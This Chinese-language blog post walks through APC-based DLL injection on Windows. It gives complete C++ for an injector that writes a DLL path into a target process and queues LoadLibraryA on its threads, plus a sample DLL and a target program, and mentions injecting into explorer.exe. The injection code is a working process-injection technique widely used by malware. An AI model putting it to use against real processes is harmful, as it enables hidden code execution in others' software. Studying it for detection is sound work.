直接贴C++代码效果:
apc注入到pid为39712的进程
procexp可以看到注入的DLL!
好了,我们看看代码如何写:
注入部分
// inject3.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 #include <iostream> #include<Windows.h> #include<TlHelp32.h> using namespace std; void ShowError(const char* pszText) { char szError[MAX_PATH] = { 0 }; ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError()); ::MessageBox(NULL, szError, "ERROR", MB_OK); } //列出指定进程的所有线程 BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) { // 申请空间 DWORD dwThreadIdListLength = 0; DWORD dwThreadIdListMaxCount = 2000; LPDWORD pThreadIdList = NULL; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pThreadIdList == NULL) { return FALSE; } RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD)); THREADENTRY32 th32 = { 0 }; // 拍摄快照 hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID); if (hThreadSnap == INVALID_HANDLE_VALUE) { return FALSE; } // 结构的大小 th32.dwSize = sizeof(THREADENTRY32); //遍历所有THREADENTRY32结构, 按顺序填入数组 BOOL bRet = Thread32First(hThreadSnap, &th32); while (bRet) { if (th32.th32OwnerProcessID == th32ProcessID) { if (dwThreadIdListLength >= dwThreadIdListMaxCount) { break; } pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID; } bRet = Thread32Next(hThreadSnap, &th32); } *pThreadIdListLength = dwThreadIdListLength; *ppThreadIdList = pThreadIdList; return TRUE; } BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength) { // 申请内存 PVOID lpAddr = NULL; SIZE_T page_size = 4096; lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (lpAddr == NULL) { ShowError("VirtualAllocEx - Error\n\n"); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess); return FALSE; } // 把Dll的路径复制到内存中 if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)) { ShowError("WriteProcessMemory - Error\n\n"); VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT); CloseHandle(hProcess); return FALSE; } // 获得LoadLibraryA的地址 PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA"); // 遍历线程, 插入APC float fail = 0; for (int i = dwThreadIdListLength - 1; i >= 0; i--) { // 打开线程 HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]); if (hThread) { // 插入APC if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr)) { fail++; } // 关闭线程句柄 ::CloseHandle(hThread); hThread = NULL; } } printf("Total Thread: %d\n", dwThreadIdListLength); printf("Total Failed: %d\n", (int)fail); if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5) { printf("Success to Inject APC\n"); return TRUE; } else { printf("Inject may be failed\n"); return FALSE; } } int main() { ULONG32 ulProcessID = 0; printf("Input the Process ID:"); cin >> ulProcessID; CHAR wzDllFullPath[MAX_PATH] = "C:\\Users\\source\\repos\\injected_dll\\x64\\Release\\injected_dll.dll";// "C:\\Users\\l00379637\\source\\repos\\test_dll\\Release\\test_dll.dll"; LPDWORD pThreadIdList = NULL; DWORD dwThreadIdListLength = 0; if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength)) { printf("Can not list the threads\n"); exit(0); } //打开句柄 HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID); if (hProcess == NULL) { printf("Failed to open Process\n"); return FALSE; } //注入 if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength)) { printf("Failed to inject DLL\n"); return FALSE; } return 0; }
我们的DLL部分injected_dll.dll代码:
// myhack.cpp // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include "windows.h" #include "tchar.h" DWORD WINAPI ThreadProc(LPVOID lParam) { ::MessageBoxW(NULL, L"szPath", L"captain?", 0); //调用函数进行URL下载 return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { HANDLE hThread = NULL; switch (fdwReason) { case DLL_PROCESS_ATTACH: OutputDebugString(L"<myhack.dll> Injection!!!"); //创建远程线程进行download hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); // 需要注意,切记随手关闭句柄,保持好习惯 CloseHandle(hThread); break; } return TRUE; }
被注入的进程代码:
// sleephere.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 #include <windows.h> #include <synchapi.h> #include <iostream> int main() { std::cout << "Hello World!\n"; DWORD pid = GetCurrentProcessId(); std::cout << "当前进程的PID是: " << pid << std::endl; while (1) { SleepEx(1000, true); std::cout << "You are done!\n"; } std::cout << "Exit!\n"; }
里面有一个关键函数:
SleepEx
其中,第二个参数表示是否可以被唤醒。解释见后:
我们再注入explorer.exe
注意:上述代码都是windows 64 release运行!
APC 是一个简称,具体名字叫做异步过程调用,我们看下MSDN中的解释,异步过程调用,属于是同步对象中的函数,所以去同步对象中查看.
首先介绍一下APC,会了正想开发就会逆向注入
首先第一个函数
QueueUserApc: 函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中
APCproc: 函数作用: 回调函数的写法.
我们首先要知道异步函数调用的原理,
异步过程调用是一种能在特定线程环境中异步执行的系统机制。
往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC
这里介绍一下应用程序的APC
APC是往线程中插入一个回调函数,但是用的APC调用这个回调函数是有条件的.我们看下Msdn怎么写
MSDN说,要使用SleepEx,signalObjectAndWait.....等等这些函数才会触发
那么使用APC场合的注入就有了,
1.必须是多线程环境下
2.注入的程序必须会调用上面的那些同步对象.
那么我们可以注入APC,注意下条件,也不是所有都能注入的.
注入方法的原理:
1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断
2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数
3.我们利用QueueUserApc,往这个队列中插入一个回调
4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去
使用方法:
1.利用快照枚举所有的线程
2.写入远程内存,写入的是Dll的路径
3.插入我们的DLL即可
好了!我们接下来看看应该如何进行检测!
标签:return,示例,C++,线程,dwThreadIdListLength,APC,NULL,pThreadIdList From: https://www.cnblogs.com/bonelee/p/17705390.html